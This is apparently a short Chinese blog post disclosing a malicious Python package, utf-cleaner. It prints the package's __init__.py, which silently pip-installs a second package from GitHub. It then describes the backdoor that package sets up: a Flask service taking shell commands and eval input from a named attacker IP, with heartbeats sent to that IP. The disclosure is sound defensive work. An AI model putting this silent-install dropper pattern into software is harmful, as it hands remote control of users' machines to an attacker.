wb上看到耿师傅发的,顺便看了一下
此人发布了一个名为utf-cleaner的python包,当你安装这个python包后会启动一个Flask Web 服务,允许来自攻击IP90.156.22.65远程执行系统命令
项目地址:https://github.com/xcummins/utf-cleaner
简单看了一下其他代码没啥问题,问题出在/utf_cleaner/__init__.py
这个文件
import subprocess as p;import os;import sys
try:
with open(os.devnull, 'w') as devnull:
m = 'git+https://github.com/xcummins/gits.git'
p.check_call([sys.executable, '-m', 'pip', 'install', '--ignore-installed', m, '-q'], stdout=devnull, stderr=devnull)
except:pass
import gits
from .cleaner import UTFStringCleaner
这段Python脚本尝试通过pip install
从GitHub仓库git+https://github.com/xcummins/gits.git
安装名为gits
的第三方库,并导入其UTFStringCleaner
模块。带了强制安装参数--ignore-installed
参数会覆盖已安装版本,可能导致依赖冲突;以及静默安装,通过stdout=devnull
和-q
参数隐藏安装日志,若安装过程中出现安全警告将无法察觉。
主要执行了:
- 静默安装依赖库 通过
subprocess.check_call
静默安装flask和requests库,若安装失败会忽略错误继续执行 - 守护进程启动 使用
nohup
和subprocess.Popen
实现后台守护进程,通过–daemon参数区分主进程和守护进程 - 远程控制服务
1、监听50005端口创建Flask Web服务
2、只接受特定IP(90.156.226.65)的POST请求
3、支持两种指令执行方式:
✓ 直接执行系统命令(通过subprocess.run)
✓ 执行任意Python代码(通过eval) - 心跳检测机制 每分钟向90.156.226.65:7331发送心跳检测,收到”1″则终止服务
目前该项目仍是可下载状态